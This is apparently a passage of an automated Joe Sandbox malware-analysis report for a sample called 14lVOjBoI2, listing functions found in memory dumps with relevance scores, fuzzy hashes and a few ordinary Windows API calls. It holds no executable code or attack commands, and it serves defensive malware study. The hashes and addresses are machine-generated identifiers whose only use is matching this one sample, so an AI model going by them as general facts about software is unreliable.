Instruction Fuzzy Hash: BA023030A00219DFCB18CFA9C984AEDBBF2FF98315F158069E815AB261D732DD81DB50

Function 38D7C638 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fde0aa6abe4b4b1ccfd5204127d0c9087712a0fab26624096efbc47653760d6
Instruction ID: 845fe3f9516f320cf70ee3c7f8d283e2cbffb1401886d634be9506133f2cf47c
Opcode Fuzzy Hash: 0fde0aa6abe4b4b1ccfd5204127d0c9087712a0fab26624096efbc47653760d6
Instruction Fuzzy Hash: 4CE1C474E01258CFEB14CFA9D894B9DBBB2BF49301F2081A9E409BB291DB755A85CF11

Function 38D703AF Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf7948c25bc8e9de0bdd83b51430252606fc113ecf2b5f34228d1675d4b0204
Instruction ID: c32e96e3aba14db6c112cf5cc61dee5bb6d51888d2b02bd0e66029a696f3bccc
Opcode Fuzzy Hash: baf7948c25bc8e9de0bdd83b51430252606fc113ecf2b5f34228d1675d4b0204
Instruction Fuzzy Hash: 51D1B474E00218CFEB14DFA9D994B9DBBB2BF89301F1080A9E409AB355DB759D82CF50

Function 38DC6368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2df2c12ac69ed4de123f83ec8092d6ceef02a0c0092af413d1468f70a07930d3
Instruction ID: 5198749fcaba8abe556f631584c17a7ba5371cc504486412ec796950e95cf2de
Opcode Fuzzy Hash: 2df2c12ac69ed4de123f83ec8092d6ceef02a0c0092af413d1468f70a07930d3
Instruction Fuzzy Hash: 6EC19174E00218CFDB18DFA9D994B9DBBB2BF89341F6081A9D409AB355DB359E81CF10

Function 38DCA360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98dfa0ceff848f23a78b309719b0a013e2d1465655f63b2f92d86a25b7470c7c
Instruction ID: a760ad7f4d49dcec1d500495d10e80e4f02e12b1acc12687197494163e097df2
Opcode Fuzzy Hash: 98dfa0ceff848f23a78b309719b0a013e2d1465655f63b2f92d86a25b7470c7c
Instruction Fuzzy Hash: 04A190B5E01228CFEB18CF6AC944B9DFBF2AF89300F54C1AAD409A7255DB345A85CF51

Function 38DC9D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14631bb3eda57de148fa5406fbb470dda7089fe722672bb0114aa3b04b34efed
Instruction ID: f56f312b558052ed7f6c32841cad6b2742163610f490a8858871ec20f09e32c7
Opcode Fuzzy Hash: 14631bb3eda57de148fa5406fbb470dda7089fe722672bb0114aa3b04b34efed
Instruction Fuzzy Hash: 4EA170B4E012288FEB18CF6AC944B9DBBF2AF89340F14C1AAD409A7255DB745A85CF51

Function 38DCA9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e287ed062c4b4b07c391324891d6f5cb58d5e57bf82a048d5870d3616013c220
Instruction ID: 03718515e6265e7b8daf467e30e1284bccb5b22122eacaa4346a749fc6c52b7d
Opcode Fuzzy Hash: e287ed062c4b4b07c391324891d6f5cb58d5e57bf82a048d5870d3616013c220
Instruction Fuzzy Hash: E5A173B5E012288FEB18CF6AC944B9DFBF2AF89300F54C1AAD409B7255DB345A85CF51

Function 38DC96C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83073a241a2d00b7232f9d6bacdb4b5fa88bb3c265c318221d85a3727b6f7ec5
Instruction ID: 5e37dc8cc04e77059ffec2d4e5e800a9981b245b5f3cc35cd79b6fc3853dbb8a
Opcode Fuzzy Hash: 83073a241a2d00b7232f9d6bacdb4b5fa88bb3c265c318221d85a3727b6f7ec5
Instruction Fuzzy Hash: 51A181B5E01618CFEB68CF6AC944B9DBBF2AF89300F14C1AAD409A7255DB345A85CF11

Function 38D70F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5569afea79ae23182e415b6015ba68e4841a534e78407bdb867d3ded8814ffb9
Instruction ID: ce0dfdf3b6a62c330136b467f78df5a7a08d706d6a53c733bfa842a99f6e3a73
Opcode Fuzzy Hash: 5569afea79ae23182e415b6015ba68e4841a534e78407bdb867d3ded8814ffb9
Instruction Fuzzy Hash: D291DF74900318CFEB10DFA8D988BDCBBB1BF49311F2082A9E449AB291DB759985CF54

Function 38DCBA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4387c0e2aa2b8734b51f521baafe667c2c8fe53fa443d1b5c99783a9bb2d638e
Instruction ID: 5d5838ea6c74d0640b5bdf4e2a31309783ec8a648afe3138ed2b38fedbff185b
Opcode Fuzzy Hash: 4387c0e2aa2b8734b51f521baafe667c2c8fe53fa443d1b5c99783a9bb2d638e
Instruction Fuzzy Hash: D781E274E40648CFEB18DFAAD9806DDBBF2BF88310F248529D854AB358DB359942CF54

Function 38DC8640 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b840060bfd5c2cf81842d1f305e62d2041594a2882e9f130766f1cf55734e2b
Instruction ID: f64e1e44950c603ff5d61e75535ce20aa5924eb548a64320ce0619ffb6dfcbc9
Opcode Fuzzy Hash: 6b840060bfd5c2cf81842d1f305e62d2041594a2882e9f130766f1cf55734e2b
Instruction Fuzzy Hash: 3481E675D05268CFDB29CF6AC984BDDBBB2BF89301F1480EAD409AB250DB355A81CF40

Function 38DC96C3 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbcdeb422464ffadedb027bf2d8fd67a432a352f7d391aedf20aeaf8023e705e
Instruction ID: e4678f52e1716f232c6f84d1d64d5181f92d3f18f62a2d042e3b8f94507a11d1
Opcode Fuzzy Hash: fbcdeb422464ffadedb027bf2d8fd67a432a352f7d391aedf20aeaf8023e705e
Instruction Fuzzy Hash: E67173B5E01658CFEB68CF6AC944B9DBBF2AF89300F14C1AAD40DA7255DB344A85CF11

Function 38DCA9AF Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dea1fe2a30dffad8b6c3d876dbe985677b50b8fdcc2313204e3e1756aab885a5
Instruction ID: 0ea73632f4db71abb3e56398bf9fde37259145e7b42844e4e43c3a9c60ca0983
Opcode Fuzzy Hash: dea1fe2a30dffad8b6c3d876dbe985677b50b8fdcc2313204e3e1756aab885a5
Instruction Fuzzy Hash: BF7175B5D016188FEB58CF6AC944B9DBBF2AF89300F14C1AAD40DB7255DB344A85CF51

Function 38DC9D0B Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f2d3ad531421b07b04fc50bd95d3c0f4d244d6db5f62902aa235d43ec718f8
Instruction ID: 78b7d5ddfa50750eb357be79d41d690f9b28769f70f5a942621ee6d26e0face4
Opcode Fuzzy Hash: e3f2d3ad531421b07b04fc50bd95d3c0f4d244d6db5f62902aa235d43ec718f8
Instruction Fuzzy Hash: 0A4158B1E016189BEB58CF6BC9457DEFAF3AFC9300F14C1AAC50CA6265DB740A858F51

Function 38DCA35F Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53f755e836a9fdb178e453a80dcb76d01a7713960aa11c91bdfc1dcaeb940649
Instruction ID: 0ac447e02e162428ace11e3a60bd1bb755b60b5c566f9ab5b335e928adb6b4a9
Opcode Fuzzy Hash: 53f755e836a9fdb178e453a80dcb76d01a7713960aa11c91bdfc1dcaeb940649
Instruction Fuzzy Hash: 9C4146B1E016188BEB58CF6BC9457CEFAF3AFC9300F14C1AAD50CA6264DB740A858F51

Function 38DC6358 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba632054aa0e736642efdba951676bb7eff413722d0bc4f7768df8fdea702269
Instruction ID: 564c30e752f088415f2cad9bee88d5a0fba4b45b76b1efe0a9a502e23a847224
Opcode Fuzzy Hash: ba632054aa0e736642efdba951676bb7eff413722d0bc4f7768df8fdea702269
Instruction Fuzzy Hash: 5F41F274E00248CBEB08CFAAD9406DDBBF2AF89340F24C12ED414BB265EB355946CF50

Function 392C0851 Relevance: 6.1, APIs: 4, Instructions: 142
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 392C0926
GetCurrentThread.KERNEL32 ref: 392C0963
GetCurrentProcess.KERNEL32 ref: 392C09A0
GetCurrentThreadId.KERNEL32 ref: 392C09F9

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7686d813b1b32b30dd612f386166c98c5e0e80d95a45c27b2eab7eedff3ccc69
Instruction ID: a693976132cbbc0a8399778aefaa63710134bcf2410d7d31a560e21804e95c6e
Opcode Fuzzy Hash: 7686d813b1b32b30dd612f386166c98c5e0e80d95a45c27b2eab7eedff3ccc69
Instruction Fuzzy Hash: 0E5178B09007498FDB00CFAAC944B9EBBF1EF89310F20859AE459B7361D734A940CF65

Function 392C0898 Relevance: 6.1, APIs: 4, Instructions: 138
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 392C0926
GetCurrentThread.KERNEL32 ref: 392C0963
GetCurrentProcess.KERNEL32 ref: 392C09A0
GetCurrentThreadId.KERNEL32 ref: 392C09F9

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b7e3101f118acec237e9186fbebe64045ed0c1041821c87cf8ab956994ea433e
Instruction ID: 69a69ce52d9e0a2c26a9e8a1a880f96efa585182ed3e5b6781ef1abdcc0dc142
Opcode Fuzzy Hash: b7e3101f118acec237e9186fbebe64045ed0c1041821c87cf8ab956994ea433e
Instruction Fuzzy Hash: 565165B09007499FEB00CFAAC944B9EBBF1AF88310F20859AE459B7361D775A940CF65

Function 392C08A8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 392C0926
GetCurrentThread.KERNEL32 ref: 392C0963
GetCurrentProcess.KERNEL32 ref: 392C09A0
GetCurrentThreadId.KERNEL32 ref: 392C09F9

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b86afbe4a83dc67a9ef007f4bc765ea65c807fc998daa60fa3e91b4ce418d498
Instruction ID: 286ac714a094fc1e3010988190fc3a819d1ac93683e8f1f52f82e8af983a7f6d
Opcode Fuzzy Hash: b86afbe4a83dc67a9ef007f4bc765ea65c807fc998daa60fa3e91b4ce418d498
Instruction Fuzzy Hash: 455156B09007099FEB04CFAAC544BDEBBF1AF88310F20855AE45AB7351D774A940CF65

Function 00110B29 Relevance: 2.7, Strings: 2, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d"Q6, xrefs: 00110B57, 00110C86
@*Q6, xrefs: 00110B7A

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID: @*Q6$d"Q6
API String ID: 0-3497717014
Opcode ID: 7a8a0286c6061b95cd6339e9c0fa4a9f214aefffb8bec425eec1dc4549654fb7
Instruction ID: abb1b81c53910d092957b4cb761b277a00727e89b91b98803dca7fe8fe71df69
Opcode Fuzzy Hash: 7a8a0286c6061b95cd6339e9c0fa4a9f214aefffb8bec425eec1dc4549654fb7
Instruction Fuzzy Hash: 48A1C974A40249CFDF08DFA8D995A9DBBB2FB4D302B104229E405BB365DB75AD46CF80

Function 00110B30 Relevance: 2.7, Strings: 2, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d"Q6, xrefs: 00110B57, 00110C86
@*Q6, xrefs: 00110B7A

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID: @*Q6$d"Q6
API String ID: 0-3497717014
Opcode ID: 2f276c4bd59ee7f997b165e77673eb7a11681836bdd67f38c8bc70e1eeba8e94
Instruction ID: abd429ec81f143e87108d5eacaea26488fff47b795e203a345d27c367ec3357c
Opcode Fuzzy Hash: 2f276c4bd59ee7f997b165e77673eb7a11681836bdd67f38c8bc70e1eeba8e94
Instruction Fuzzy Hash: 46A1EC74A40249CFDF08DFA8D996A9DBBB2FB4D302B104129E405B7365DB75AD46CF80

Function 392C0006 Relevance: 1.6, APIs: 1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 392C0152

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: cdeec4cc397fcaf478d27dc6113bbf11a82d2a68f7cad13fdd8cadacce4b5048
Instruction ID: 838a6a92040bcce57f5b89321cb9e312126ab087934fce5a5df614cd5557b5e8
Opcode Fuzzy Hash: cdeec4cc397fcaf478d27dc6113bbf11a82d2a68f7cad13fdd8cadacce4b5048
Instruction Fuzzy Hash: 685101B1D043899FDB05CFA9C880ADEBFB1FF4A310F2581AAE414AB261D7B45845CF91

Function 392C0040 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 392C0152

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: c2f2efcbb7ffd6f1ff4a91e4a66fbe0f4321d2cf4ffde345472e71a766daa9ba
Instruction ID: 957863de39536be61fa35090c41c8151475dc7d553b623ea568baf59c33b4a7b
Opcode Fuzzy Hash: c2f2efcbb7ffd6f1ff4a91e4a66fbe0f4321d2cf4ffde345472e71a766daa9ba
Instruction Fuzzy Hash: 4041C2B5D107499FDF14CF99C980ADEFBB5BF48310F60822AE819AB210D7B1A945CF90

Function 392C18F0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 392C19B1

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: d3c6304287bfebb0a4dc681b2d4f554395181de306b9cfcb03664241d87b3331
Instruction ID: d5d03eb72b70fcda1ad2e355760066ece2521c75f46f5a82c3a7016a79c601ee
Opcode Fuzzy Hash: d3c6304287bfebb0a4dc681b2d4f554395181de306b9cfcb03664241d87b3331
Instruction Fuzzy Hash: 254156B8900749CFDB00CF9AC445A9AFBF6FF88310F248599D419AB321D774A841CFA0

Function 392C0AE9 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 392C0B77

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 084f3009bdbe8d0f4edf54ea62aed37e59594c4013a24ff5a8d6cc94de20ef04
Instruction ID: 67c396ab102ca8d49d7056008d84d096a1f5168450c664011308af83984f0f87
Opcode Fuzzy Hash: 084f3009bdbe8d0f4edf54ea62aed37e59594c4013a24ff5a8d6cc94de20ef04
Instruction Fuzzy Hash: C221D4B5900649DFDB10CFAAD984ADEBBF4EF48320F14846AE914A7310D374A940CFA5

Function 392C0AF0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 392C0B77

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9a78004ab850a03fbf75665d45039d75f38089b1d81f43b86d9e66b0a785382b
Instruction ID: ab5cd27b37c1c102cc1cfe80bbcf0afc1fb2af08136972ccfa19a6d9de99a629
Opcode Fuzzy Hash: 9a78004ab850a03fbf75665d45039d75f38089b1d81f43b86d9e66b0a785382b
Instruction Fuzzy Hash: F621E4B59002499FDB10CFAAD980ADEBBF4EF48320F14842AE914A3310D374A940CFA5

Function 392C1B48 Relevance: 1.5, APIs: 1, Instructions: 49timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 392C1BAD

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 0c8bcd6c9fc632c7e72684dcfee4951e9f5c62dc32fd864d6def5e361ccca86f
Instruction ID: d9e84b07dc164b8613f75db08bff7b02d7d5a927cd1ec763fed6579497760535
Opcode Fuzzy Hash: 0c8bcd6c9fc632c7e72684dcfee4951e9f5c62dc32fd864d6def5e361ccca86f
Instruction Fuzzy Hash: 781122B58007499FDB10CF9AC545BDFBBF8EB48320F10845AE918A3210D375A640CFA1

Function 392CD228 Relevance: 1.5, APIs: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 392CD285

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d03327cb1737bd222a4dcd71b2835ffacb50067407bd74eccdbb580abf473bf9
Instruction ID: d3a0d1fdc1f023a8c51afa9ffac88e2253c77fb0f49f9844335cd2ae1756e4b9
Opcode Fuzzy Hash: d03327cb1737bd222a4dcd71b2835ffacb50067407bd74eccdbb580abf473bf9
Instruction Fuzzy Hash: D31160B5804349CFCB20CFAAD444BDEBBF4AF49320F24846AD418A3200C379A540CFA2

Function 392CC410 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 392CD285

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0e3ad2c793d4b0e062593aea561f66e34acff6871f06832f5dcecf5a7debce74
Instruction ID: aa77b9f9c2f10fef01e034d18c0eda9de77e1a5d94091ef3cc9d02cb2888b86e
Opcode Fuzzy Hash: 0e3ad2c793d4b0e062593aea561f66e34acff6871f06832f5dcecf5a7debce74
Instruction Fuzzy Hash: C81133B58047498FDB10CF9AD545BDEBBF4AB48320F10846AE518A7300D379A940CFA5

Function 392CC4BC Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,392CD76F), ref: 392CE565

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: b83963360c3613942f37340c44a1f8f46846870ec6c8411d5a5644e34cd22f94
Instruction ID: be52ee12f749a3ad4da71c91bdced825afac79fbff077a1fc240d9bfb8e68930
Opcode Fuzzy Hash: b83963360c3613942f37340c44a1f8f46846870ec6c8411d5a5644e34cd22f94
Instruction Fuzzy Hash: 1B11E0B5C047498FDB10CF9AD544B9EBBF4AB48310F10856AE419A7310D379A944CFA5

Function 392C1B50 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 392C1BAD

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: ddc37e209f37252fe62eeb863b68250954954302edc2aa608495cc2034c885cb
Instruction ID: bc443aa861e73eba9d5484e01a6139e2446b2fd0824cf64ea3d4e40735c892ce
Opcode Fuzzy Hash: ddc37e209f37252fe62eeb863b68250954954302edc2aa608495cc2034c885cb
Instruction Fuzzy Hash: 361112B58007499FDB10CF9AC985BDEFBF8EB48320F10841AE958A3300D375A940CFA1

Function 392CE500 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,392CD76F), ref: 392CE565

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 90571832ec9e1e4061a0261275a89413de658903841bf04dbe08db517845fb2f
Instruction ID: 0885b3230352fd0dd3b8a7e18931dc64754a649089a92421d4a351e8a176863c
Opcode Fuzzy Hash: 90571832ec9e1e4061a0261275a89413de658903841bf04dbe08db517845fb2f
Instruction Fuzzy Hash: 14113DB5D0064A8FCB10CFAAD140BCEBBF1EB08310F208A2AD529A7300D379A541CFA4

Function 00118BF0 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

T, xrefs: 00118D10

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID: T
API String ID: 0-3187964512
Opcode ID: 91393c0b4b46d1f7830b562b3d444a144eeb1acc4d076a6b5a6d9ff35791ddf2
Instruction ID: fa9a6f00131909a77aa9d2a98c3b50f7c0cbed09ac2144b601a4b904cb00013f
Opcode Fuzzy Hash: 91393c0b4b46d1f7830b562b3d444a144eeb1acc4d076a6b5a6d9ff35791ddf2
Instruction Fuzzy Hash: 07417C307012458FEB08DF68C944BEABBE6EF89304F14C466E905CB251EB70DD85DBA6

Function 001166B8 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d33f7cead4c8b0f06de4ee359f14b9bed727523680a380b0165c93490d7d54
Instruction ID: 43a668b44dba46f328af8758ddcdfdf7174e343e49f9b68a299073738f8d6dc0
Opcode Fuzzy Hash: 62d33f7cead4c8b0f06de4ee359f14b9bed727523680a380b0165c93490d7d54
